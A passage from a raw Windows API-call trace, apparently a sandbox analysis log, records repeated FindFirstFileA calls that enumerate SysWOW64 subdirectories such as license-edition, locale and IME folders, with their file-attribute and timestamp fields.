lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.120] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.120] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.121] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.121] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.122] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.122] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.122] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.123] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.123] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.124] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.124] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.125] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.125] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.126] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.126] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.127] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.127] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.128] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.128] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\StarterE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.129] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.129] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.130] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.130] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\_Default\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.218] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\es-ES\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2adf8130, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2adf8130, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.219] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\et-EE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2adf8130, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2adf8130, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.223] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\fi-FI\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2ae443f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2ae443f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.225] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\fr-FR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2ae443f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2ae443f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.227] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\FxsTmp\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.229] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\GroupPolicy\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.229] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\GroupPolicyUsers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.230] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\he-IL\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2ae6a550, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2ae6a550, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.233] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\hr-HR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2aedc970, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2aedc970, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.234] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\hu-HU\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2aedc970, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2aedc970, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.236] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\icsxml\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2972fc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2972fc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.239] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x104eb58, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.240] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMEJP10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af74ef0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af74ef0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.240] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMEJP10\\APPLETS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af4ed90, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af4ed90, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.243] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\imekr8\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af74ef0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af74ef0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.243] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\imekr8\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af74ef0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af74ef0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.244] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\imekr8\\dicts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af74ef0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af74ef0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.245] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMESC5\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af9b050, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af9b050, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.245] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMESC5\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af9b050, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af9b050, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.246] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMETC10\\*.*", lpFindFileData=0x18f8f8 | out: 